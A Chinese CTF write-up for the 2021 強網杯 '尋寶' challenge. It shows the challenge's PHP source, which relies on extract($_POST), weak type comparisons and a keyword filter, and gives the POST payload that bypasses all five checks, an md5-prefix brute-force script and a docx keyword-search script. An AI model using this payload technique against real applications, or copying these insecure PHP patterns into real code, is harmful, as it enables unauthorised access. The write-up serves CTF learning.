1. 程式人生 > 其它 >2021強網杯-尋寶

2021強網杯-尋寶

PS:看到WP後血壓拉滿

part 1

<?php
header('Content-type:text/html;charset=utf-8');
error_reporting(0);
highlight_file(__file__);


function filter($string){
        $filter_word = array('php','flag','index','KeY1lhv','source','key','eval','echo','\$','\(','\.','num','html','\/','\,','\'','0000000');
        $filter_phrase= '/'.implode('|',$filter_word).'/';
        return preg_replace($filter_phrase,'',$string);
    }


if($ppp){
    unset($ppp);
}
$ppp['number1'] = "1";
$ppp['number2'] = "1";
$ppp['nunber3'] = "1";
$ppp['number4'] = '1';
$ppp['number5'] = '1';

extract($_POST);

$num1 = filter($ppp['number1']);        
$num2 = filter($ppp['number2']);        
$num3 = filter($ppp['number3']);        
$num4 = filter($ppp['number4']);
$num5 = filter($ppp['number5']);
var_dump($ppp);
echo "<br>";
var_dump($_POST);
if(isset($num1) && is_numeric($num1)){
    die("非數字");
}

else{
  
    if($num1 > 1024){
    echo "第一層";
        if(isset($num2) && strlen($num2) <= 4 && intval($num2 + 1) > 500000){
            echo "第二層";
            if(isset($num3) && '4bf21cd' === substr(md5($num3),0,7)){
                echo "第三層";
                if(!($num4 < 0)&&($num4 == 0)&&($num4 <= 0)&&(strlen($num4) > 6)&&(strlen($num4) < 8)&&isset($num4) ){
                    echo "第四層";
                    if(!isset($num5)||(strlen($num5)==0)) die("no");
                    $b=json_decode(@$num5);
                        if($y = $b === NULL){
                                if($y === true){
                                    echo "第五層";
                                    include 'KeY1lhv.php';
                                    echo $KEY1;
                                }
                        }else{
                            die("no");
                        }
                }else{
                    die("no");
                }
            }else{
                die("no");
            }
        }else{
            die("no");
        }
    }else{
        die("no111");
    }
}

?>

傳參方式

有個extract($_POST);它把陣列鍵名作為變數名,使用陣列鍵值作為變數值。針對陣列中的每個元素,將在當前符號表中建立對應的一個變數。

由一段程式碼引發的慘案,md5繞過,foreach,php偽協議

最後是這樣的格式,它自動把引號加上的

ppp[number1]=xxx&ppp[number2]=xxx&ppp[number3]=xxx&ppp[number4]=xxx&ppp[number5]=xxx

第一層

弱型別,1234a

第二層

科學計數法,9e9

echo intval(1e10);    // 1410065408
echo intval('1e10');  // 1

第三層

指令碼直接跑

import hashlib


def func(md5_val):
    for x in range(50000000,100000000):
        md5_value=hashlib.md5(str(x)).hexdigest()
        if md5_value[:7]==md5_val:
            return str(x)


print func(raw_input('md5_val:'))


raw_input('ok')

61823470

第四層

科學計數法,0e99999

第五層

json_decode()

接受一個 JSON 編碼的字串並且把它轉換為 PHP 變數

通過恰當的 PHP 型別返回在 json 中編碼的資料。值true, falsenull 會相應地返回 true, falsenull。 如果 json 無法被解碼, 或者編碼資料深度超過了遞迴限制的話,將會返回null

1a

payload

ppp[number1]=1234a&ppp[number2]=9e9&ppp[number3]=61823470&ppp[number4]=0e99999&ppp[number5]=1a

part 2

沒找出來,可惜,真就直接找key就行了

import os
import docx
import time
import re

os.chdir('C:/Users/Lenovo/Desktop/qwb/five_month')
dires = os.listdir()
for dirss in dires:
    os.chdir(f'C:/Users/Lenovo/Desktop/qwb/five_month/{dirss}')
    dirs = os.listdir()
    #time.sleep(1)
    for di in dirs:
        os.chdir(f'C:/Users/Lenovo/Desktop/qwb/five_month/{dirss}/{di}')
        ds = os.listdir()
        for d in ds:
            path = (f'C:/Users/Lenovo/Desktop/qwb/five_month/{dirss}/{di}' + f'/{d}')
            # 完美的路徑
            if re.search('(1|2|3|4|5).png', path) == None :
                #print(path)跳過png
                file = docx.Document(path)   
                for para in file.paragraphs :
                    x=para.text
                    if re.search('KEY2',x) != None :
                        print(path)

有五張圖片,當時被這個帶偏了,去看misc了

現在想想可能是用來干擾指令碼的

得到兩個KEY,提交即可